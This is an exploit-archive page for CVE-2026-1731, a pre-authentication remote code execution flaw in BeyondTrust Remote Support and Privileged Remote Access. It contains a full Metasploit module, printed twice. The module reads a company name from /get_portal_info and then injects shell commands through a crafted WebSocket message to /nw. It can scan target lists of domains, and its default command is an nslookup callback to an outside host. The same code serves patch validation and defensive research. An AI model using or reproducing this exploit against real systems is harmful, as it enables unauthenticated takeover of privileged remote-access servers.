9.9
/ 10
CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/SC:L/VI:H/SI:H/VA:H/SA:L
Description
A critical pre‑authentication remote code execution vulnerability identified as CVE-2026-1731 affects products from BeyondTrust, specifically Remote Support and Privileged Remote Access. The vulnerability allows an unauthenticated attacker to execute...
Basic Information
ID
PACKETSTORM:215712
Published
Feb 17, 2026 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : BeyondTrust Remote Support / Privileged Remote Access – Pre‑Authentication Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://www.beyondtrust.com/ |
=============================================================================================================================================
[+] Summary : A critical pre‑authentication Remote Code Execution (RCE) vulnerability identified as CVE-2026-1731 affects products from BeyondTrust, specifically Remote Support and Privileged Remote Access.
The vulnerability allows an unauthenticated attacker to execute arbitrary commands on a vulnerable system by abusing a specially
crafted WebSocket connection. The issue stems from improper input validation and unsafe handling of user-controlled data during the WebSocket communication process.
[+] Affected Versions :
The vulnerability affects the following versions of BeyondTrust products: Remote Support (RS)
Affected versions: 25.3.1 and earlier This means any device running these versions prior to 25.3.2 is vulnerable. Privileged Remote Access (PRA)
Affected versions: 24.3.4 and earlier Any PRA plan running version 24.3.4 or earlier is vulnerable to this vulnerability.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BeyondTrust Remote Support/Privileged Remote Access Pre-auth RCE',
'Description' => %q{
This module exploits CVE-2026-1731, a pre-authentication remote code execution
vulnerability in BeyondTrust Remote Support and Privileged Remote Access.
The vulnerability allows unauthenticated attackers to execute arbitrary commands
on the target system through a specially crafted WebSocket connection.
},
'Author' => [
'Bipin Jitiya (@win3zz)', # Original Python script
'indoushka' # Metasploit module author
],
'References' => [
['CVE', '2026-1731'],
['URL', 'https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis'],
['URL', 'https://github.com/win3zz/CVE-2026-1731'] # Assuming GitHub repo exists
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('TARGETURI', [true, 'The base path to the BeyondTrust application', '/']),
OptString.new('CMD', [true, 'The command to execute', 'nslookup {{callback}}']),
OptString.new('CALLBACK_DOMAIN', [false, 'Callback domain for nslookup (replaces {{callback}} in CMD)', '']),
OptPath.new('DOMAINS_FILE', [false, 'File containing list of domains to scan']),
OptBool.new('VERBOSE_OUTPUT', [false, 'Enable verbose output', false])
]
)
register_advanced_options(
[
OptInt.new('WEBSOCKET_TIMEOUT', [true, 'WebSocket connection timeout in milliseconds', 5000])
]
)
end
def verbose_print(msg)
print_status(msg) if datastore['VERBOSE_OUTPUT']
end
def run_host(_ip)
if datastore['DOMAINS_FILE'] && File.exist?(datastore['DOMAINS_FILE'])
File.readlines(datastore['DOMAINS_FILE']).each do |domain|
domain = domain.strip
next if domain.empty?
check_and_exploit_domain(domain)
end
else
check_and_exploit_domain(rhost)
end
end
def check_and_exploit_domain(domain)
print_status("Checking #{domain}")
company = fetch_company_info(domain)
return unless company
print_good("Found company: #{company}")
execute_websocket_attack(domain, company)
end
def fetch_company_info(domain)
['http', 'https'].each do |proto|
uri = "#{proto}://#{domain}/get_portal_info"
verbose_print("Checking: #{uri}")
begin
res = send_request_cgi(
'uri' => '/get_portal_info',
'method' => 'GET',
'rhost' => domain,
'rport' => datastore['RPORT'],
'ssl' => (proto == 'https')
)
if res && res.code == 200
verbose_print("Raw response: #{res.body}")
if res.body =~ /company=([^;]+)/
company = Regexp.last_match(1).strip
return company
end
end
rescue Rex::ConnectionError, Rex::TimeoutError => e
verbose_print("Error connecting to #{domain}: #{e.message}")
end
end
print_status("No portal info or company found for #{domain}")
nil
end
def prepare_command
cmd = datastore['CMD']
if datastore['CALLBACK_DOMAIN'] && !datastore['CALLBACK_DOMAIN'].empty?
cmd.gsub!('{{callback}}', datastore['CALLBACK_DOMAIN'])
end
if cmd.include?('{{callback}}')
random_callback = "#{Rex::Text.rand_text_alphanumeric(8)}.oast.fun"
cmd.gsub!('{{callback}}', random_callback)
print_warning("Using random callback domain: #{random_callback}")
end
cmd
end
def execute_websocket_attack(domain, company)
print_status("Running WebSocket action for #{domain}")
cmd = prepare_command
verbose_print("Using command: #{cmd}")
uuid = 'aaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa'
random_id = Rex::Text.rand_text_alphanumeric(4)
payload = "hax[$(#{cmd})]\n#{uuid}\n0\n#{random_id}\n"
verbose_print("WebSocket payload: #{payload.inspect}")
ws_uri = "wss://#{domain}:#{datastore['RPORT']}/nw"
begin
ws = connect_ws(
ws_uri,
'protocol' => 'ingredi support desk customer thin',
'headers' => {
'X-Ns-Company' => company
}
)
if ws.nil?
print_error("Failed to establish WebSocket connection to #{domain}")
return
end
print_status("WebSocket connection established to #{domain}")
ws.put(payload)
timeout = datastore['WEBSOCKET_TIMEOUT'] / 1000.0
begin
Timeout.timeout(timeout) do
while (response = ws.get)
print_line(response.to_s) unless response.to_s.empty?
end
end
rescue Timeout::Error
verbose_print("WebSocket read timeout")
end
rescue Rex::ConnectionError => e
print_error("WebSocket connection error: #{e.message}")
rescue StandardError => e
print_error("Error during WebSocket attack: #{e.message}")
verbose_print("Error details: #{e.backtrace.join("\n")}")
ensure
ws.close if ws
end
end
def connect_ws(uri, opts = {})
require 'rex/proto/http/web_socket'
begin
u = URI.parse(uri)
host = u.host
port = u.port
http_client = Rex::Proto::Http::Client.new(
host,
port,
{},
u.scheme == 'wss'
)
request = http_client.request_websocket_upgrade(
u.path,
opts[:protocol]
)
opts[:headers]&.each do |key, value|
request[key] = value
end
response = http_client.send_recv(request)
if response && response.code == 101 # Switching Protocols
return Rex::Proto::Http::WebSocket.new(http_client, response)
else
vprint_error("WebSocket upgrade failed: #{response.code}") if response
return nil
end
rescue StandardError => e
vprint_error("WebSocket connection error: #{e.message}")
nil
end
end
end
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================
| # Title : BeyondTrust Remote Support / Privileged Remote Access – Pre‑Authentication Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://www.beyondtrust.com/ |
=============================================================================================================================================
[+] Summary : A critical pre‑authentication Remote Code Execution (RCE) vulnerability identified as CVE-2026-1731 affects products from BeyondTrust, specifically Remote Support and Privileged Remote Access.
The vulnerability allows an unauthenticated attacker to execute arbitrary commands on a vulnerable system by abusing a specially
crafted WebSocket connection. The issue stems from improper input validation and unsafe handling of user-controlled data during the WebSocket communication process.
[+] Affected Versions :
The vulnerability affects the following versions of BeyondTrust products: Remote Support (RS)
Affected versions: 25.3.1 and earlier This means any device running these versions prior to 25.3.2 is vulnerable. Privileged Remote Access (PRA)
Affected versions: 24.3.4 and earlier Any PRA plan running version 24.3.4 or earlier is vulnerable to this vulnerability.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BeyondTrust Remote Support/Privileged Remote Access Pre-auth RCE',
'Description' => %q{
This module exploits CVE-2026-1731, a pre-authentication remote code execution
vulnerability in BeyondTrust Remote Support and Privileged Remote Access.
The vulnerability allows unauthenticated attackers to execute arbitrary commands
on the target system through a specially crafted WebSocket connection.
},
'Author' => [
'Bipin Jitiya (@win3zz)', # Original Python script
'indoushka' # Metasploit module author
],
'References' => [
['CVE', '2026-1731'],
['URL', 'https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis'],
['URL', 'https://github.com/win3zz/CVE-2026-1731'] # Assuming GitHub repo exists
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('TARGETURI', [true, 'The base path to the BeyondTrust application', '/']),
OptString.new('CMD', [true, 'The command to execute', 'nslookup {{callback}}']),
OptString.new('CALLBACK_DOMAIN', [false, 'Callback domain for nslookup (replaces {{callback}} in CMD)', '']),
OptPath.new('DOMAINS_FILE', [false, 'File containing list of domains to scan']),
OptBool.new('VERBOSE_OUTPUT', [false, 'Enable verbose output', false])
]
)
register_advanced_options(
[
OptInt.new('WEBSOCKET_TIMEOUT', [true, 'WebSocket connection timeout in milliseconds', 5000])
]
)
end
def verbose_print(msg)
print_status(msg) if datastore['VERBOSE_OUTPUT']
end
def run_host(_ip)
if datastore['DOMAINS_FILE'] && File.exist?(datastore['DOMAINS_FILE'])
File.readlines(datastore['DOMAINS_FILE']).each do |domain|
domain = domain.strip
next if domain.empty?
check_and_exploit_domain(domain)
end
else
check_and_exploit_domain(rhost)
end
end
def check_and_exploit_domain(domain)
print_status("Checking #{domain}")
company = fetch_company_info(domain)
return unless company
print_good("Found company: #{company}")
execute_websocket_attack(domain, company)
end
def fetch_company_info(domain)
['http', 'https'].each do |proto|
uri = "#{proto}://#{domain}/get_portal_info"
verbose_print("Checking: #{uri}")
begin
res = send_request_cgi(
'uri' => '/get_portal_info',
'method' => 'GET',
'rhost' => domain,
'rport' => datastore['RPORT'],
'ssl' => (proto == 'https')
)
if res && res.code == 200
verbose_print("Raw response: #{res.body}")
if res.body =~ /company=([^;]+)/
company = Regexp.last_match(1).strip
return company
end
end
rescue Rex::ConnectionError, Rex::TimeoutError => e
verbose_print("Error connecting to #{domain}: #{e.message}")
end
end
print_status("No portal info or company found for #{domain}")
nil
end
def prepare_command
cmd = datastore['CMD']
if datastore['CALLBACK_DOMAIN'] && !datastore['CALLBACK_DOMAIN'].empty?
cmd.gsub!('{{callback}}', datastore['CALLBACK_DOMAIN'])
end
if cmd.include?('{{callback}}')
random_callback = "#{Rex::Text.rand_text_alphanumeric(8)}.oast.fun"
cmd.gsub!('{{callback}}', random_callback)
print_warning("Using random callback domain: #{random_callback}")
end
cmd
end
def execute_websocket_attack(domain, company)
print_status("Running WebSocket action for #{domain}")
cmd = prepare_command
verbose_print("Using command: #{cmd}")
uuid = 'aaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa'
random_id = Rex::Text.rand_text_alphanumeric(4)
payload = "hax[$(#{cmd})]\n#{uuid}\n0\n#{random_id}\n"
verbose_print("WebSocket payload: #{payload.inspect}")
ws_uri = "wss://#{domain}:#{datastore['RPORT']}/nw"
begin
ws = connect_ws(
ws_uri,
'protocol' => 'ingredi support desk customer thin',
'headers' => {
'X-Ns-Company' => company
}
)
if ws.nil?
print_error("Failed to establish WebSocket connection to #{domain}")
return
end
print_status("WebSocket connection established to #{domain}")
ws.put(payload)
timeout = datastore['WEBSOCKET_TIMEOUT'] / 1000.0
begin
Timeout.timeout(timeout) do
while (response = ws.get)
print_line(response.to_s) unless response.to_s.empty?
end
end
rescue Timeout::Error
verbose_print("WebSocket read timeout")
end
rescue Rex::ConnectionError => e
print_error("WebSocket connection error: #{e.message}")
rescue StandardError => e
print_error("Error during WebSocket attack: #{e.message}")
verbose_print("Error details: #{e.backtrace.join("\n")}")
ensure
ws.close if ws
end
end
def connect_ws(uri, opts = {})
require 'rex/proto/http/web_socket'
begin
u = URI.parse(uri)
host = u.host
port = u.port
http_client = Rex::Proto::Http::Client.new(
host,
port,
{},
u.scheme == 'wss'
)
request = http_client.request_websocket_upgrade(
u.path,
opts[:protocol]
)
opts[:headers]&.each do |key, value|
request[key] = value
end
response = http_client.send_recv(request)
if response && response.code == 101 # Switching Protocols
return Rex::Proto::Http::WebSocket.new(http_client, response)
else
vprint_error("WebSocket upgrade failed: #{response.code}") if response
return nil
end
rescue StandardError => e
vprint_error("WebSocket connection error: #{e.message}")
nil
end
end
end
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================